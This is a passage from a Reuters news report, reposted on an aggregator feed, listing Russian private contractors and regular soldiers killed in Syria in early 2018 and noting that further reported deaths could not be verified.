Another private military contractor, Dmitry Markelov, was also killed at Tiyas, site of the Syrian military’s T4 air base, on Jan. 29, according to people close to him.

Four regular Russian servicemen were killed in the same area on Feb. 16, Russian state media cited a defense ministry statement as saying. The soldiers, described by state media as “advisors” to the Syrian military, were not named. A fifth regular serviceman, Artyom Gorbunov, was killed near Palmyra on March 2, state media quoted the ministry as saying.

A further eight members of the Russian contingent were killed since the end of January at unknown locations in Syria, the evidence gathered by Reuters showed.

They were contractors Konstantin Zadorozhny, Ivan Slyshkin, Vasily Yurlin, Alexander Sagaydak,  Alexander Zangiyev, and Alexander Tychinin, and regular Russian soldiers Igor Vorona, and Sergei Travin.

Local media reports and social media posts point to more Russian deaths in Syria since the end of January than the 18 casualties, but Reuters has not been able to verify that information independently. 

(Additional reporting by Suleiman al-Khalidi in AMMAN, Thomas Perry and Angus McDowall in BEIRUT, and Joseph Nasr in BERLIN; editing by Philippa Fletcher)

NOW WATCH: Terry Crews explains how intermittent fasting keeps him in shape


Feedburner

]]>
https://briefnews.eu/russia-underreported-its-amount-of-casualties-in-the-fight-to-recapture-syrias-palmyra/feed/ 0